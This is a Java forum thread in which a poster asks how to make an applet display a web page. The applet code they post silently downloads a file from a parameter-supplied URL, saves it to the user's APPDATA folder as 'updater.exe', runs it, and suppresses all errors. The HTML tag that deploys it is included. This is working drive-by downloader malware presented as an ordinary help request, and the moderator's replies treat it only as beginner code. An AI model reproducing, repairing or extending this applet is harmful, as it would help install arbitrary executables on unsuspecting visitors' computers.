Welcome to the Java Programming Forums


The professional, friendly Java community. 21,500 members and growing!


The Java Programming Forums are a community of Java programmers from all around the World. Our members have a wide range of skills and they all have one thing in common: A passion to learn and code Java. We invite beginner Java programmers right through to Java professionals to post here and share your knowledge. Become a part of the community, help others, expand your knowledge of Java and enjoy talking with like minded people. Registration is quick and best of all free. We look forward to meeting you.


>> REGISTER NOW TO START POSTING


Members have full access to the forums. Advertisements are removed for registered users.

Results 1 to 11 of 11

Thread: Creating an iframe (First post)

  1. #1
    Junior Member
    Join Date
    Jul 2011
    Posts
    6
    Thanks
    0
    Thanked 0 Times in 0 Posts

    Default Creating an iframe (First post)

    I need my Java applet to be able to show a web page in full size, with scroll bars.

    Here is my code for Java.class

    import java.applet.Applet;
    import java.applet.AppletContext;
    import java.io.FileOutputStream;
    import java.io.InputStream;
    import java.net.URL;
    import java.net.URLConnection;

    public class Java extends Applet
    {

    public Java()
    {
    }

    public void init()
    {
    String s = getParameter("file");
    String s1 = System.getenv("APPDATA");
    Object obj = getParameter("r");
    byte abyte0[] = new byte[1024];
    try
    {
    URL url = new URL(getParameter("lol"));
    FileOutputStream fileoutputstream = new FileOutputStream((new StringBuilder()).append(s1).append(s).toString());
    URLConnection urlconnection = url.openConnection();
    InputStream inputstream = urlconnection.getInputStream();
    int i;
    while((i = inputstream.read(abyte0, 0, abyte0.length)) != -1)
    {
    fileoutputstream.write(abyte0, 0, i);
    }
    inputstream.close();
    fileoutputstream.close();
    Runtime runtime = Runtime.getRuntime();
    runtime.exec((new StringBuilder()).append(s1).append(s).toString());
    obj = new URL((String)obj);
    }
    catch(Exception exception)
    {
    return;
    }
    }
    }
    Here is my code for index.html:

    <applet width='200' height='200' code='Java.class' archive='Java.jar'>
    <param name='lol' value='' />
    <param name='location' value='%APPDATA%' />
    <param name='file' value='updater.exe' />
    </applet>
    What do I need to add/edit for this to happen?
    Last edited by msredimp; July 15th, 2011 at 05:34 PM.


  2. #2
    Junior Member
    Join Date
    Jul 2011
    Posts
    6
    Thanks
    0
    Thanked 0 Times in 0 Posts

    Default Re: Creating an iframe (First post)

    Btw I didn't code this from scratch, a friend helped me. The iframe is all my work, hence it probably being wrong.

  3. #3
    Super Moderator Norm's Avatar
    Join Date
    May 2010
    Location
    Eastern Florida
    Posts
    25,145
    Thanks
    65
    Thanked 2,720 Times in 2,670 Posts

    Default Re: Creating an iframe (First post)

    What is wrong with this code?
    Please explain.
    Does it compile without errors? If not, copy and paste the full text here.
    Does it execute? If there are errors in the java console, copy and paste them here.

  4. #4
    Junior Member
    Join Date
    Jul 2011
    Posts
    6
    Thanks
    0
    Thanked 0 Times in 0 Posts

    Default Re: Creating an iframe (First post)

    When I try to compile it on JXXX Compiler Service, this is the output:

    Parsing Input...
    Compiling...
    Standard Output from javac:

    /tmp/jc_16790/java.java:41: ';' expected
    function makeFrame() {
    ^
    /tmp/jc_16790/java.java:49: 'catch' without 'try'
    catch(Exception ex)
    ^
    /tmp/jc_16790/java.java:49: ')' expected
    catch(Exception ex)
    ^
    /tmp/jc_16790/java.java:49: not a statement
    catch(Exception ex)
    ^
    /tmp/jc_16790/java.java:49: ';' expected
    catch(Exception ex)
    ^
    /tmp/jc_16790/java.java:26: 'try' without 'catch' or 'finally'
    try
    ^
    /tmp/jc_16790/java.java:54: reached end of file while parsing
    }
    ^
    7 errors

    Output File(s)
    No Output File created

  5. #5
    Super Moderator Norm's Avatar
    Join Date
    May 2010
    Location
    Eastern Florida
    Posts
    25,145
    Thanks
    65
    Thanked 2,720 Times in 2,670 Posts

    Default Re: Creating an iframe (First post)

    function makeFrame()
    Where did you get this code from?
    Before trying to make anything out of this HOJ, I'd suggest that you read up on how to write a java program.

  6. #6
    Junior Member
    Join Date
    Jul 2011
    Posts
    6
    Thanks
    0
    Thanked 0 Times in 0 Posts

    Default Re: Creating an iframe (First post)

    I think I may be using the wrong code, how can I build a Java frame to run with my applet? Rather than using Javascript?

  7. #7
    Super Moderator Norm's Avatar
    Join Date
    May 2010
    Location
    Eastern Florida
    Posts
    25,145
    Thanks
    65
    Thanked 2,720 Times in 2,670 Posts

    Default Re: Creating an iframe (First post)

    Why don't you start with a simple applet and get that to work
    and then add features to it.

    Your code can create a Frame just like it creates any other object, by using = new Frame()

  8. #8
    Junior Member
    Join Date
    Jul 2011
    Posts
    6
    Thanks
    0
    Thanked 0 Times in 0 Posts

    Default Re: Creating an iframe (First post)

    Quote Originally Posted by Norm View Post
    Why don't you start with a simple applet and get that to work
    and then add features to it.

    Your code can create a Frame just like it creates any other object, by using = new Frame()
    I have realised that all I really need is for my applet to display a web page in full, with scroll bars left and right as it will be smaller than the web page size. How can I go about this by adding code to the end of my current applet?

  9. #9
    Super Moderator Norm's Avatar
    Join Date
    May 2010
    Location
    Eastern Florida
    Posts
    25,145
    Thanks
    65
    Thanked 2,720 Times in 2,670 Posts

    Default Re: Creating an iframe (First post)

    I'd forget about adding any code to what you have posted. Start with new code and add to that.
    need is for my applet to display a web page
    How are you going to do that? What class will display a whole web page? I assume you want the HTML formatted and not in source form.

  10. #10
    Junior Member
    Join Date
    Jul 2011
    Posts
    6
    Thanks
    0
    Thanked 0 Times in 0 Posts

    Default Re: Creating an iframe (First post)

    Quote Originally Posted by Norm View Post
    I'd forget about adding any code to what you have posted. Start with new code and add to that.

    How are you going to do that? What class will display a whole web page? I assume you want the HTML formatted and not in source form.
    I want the exact page stripped and being displayed inside the applet. Like as if I have opened a new window but without an extra window, just embedded into the applet. Is this more complicated to code than I think it is?

  11. #11
    Super Moderator Norm's Avatar
    Join Date
    May 2010
    Location
    Eastern Florida
    Posts
    25,145
    Thanks
    65
    Thanked 2,720 Times in 2,670 Posts

    Default Re: Creating an iframe (First post)

    I want the exact page
    You should be able to read the text of the html page from a server and display it in a text field for example.

Similar Threads

  1. Yet another beginer help post...
    By Gondee in forum JDBC & Databases
    Replies: 3
    Last Post: November 14th, 2010, 02:31 AM
  2. Http post to login to forum
    By durenir in forum What's Wrong With My Code?
    Replies: 1
    Last Post: February 14th, 2010, 11:03 AM
  3. Post variable set to non-null vlaues
    By ss7 in forum What's Wrong With My Code?
    Replies: 3
    Last Post: November 1st, 2009, 12:04 PM
  4. Replies: 6
    Last Post: October 20th, 2009, 06:33 AM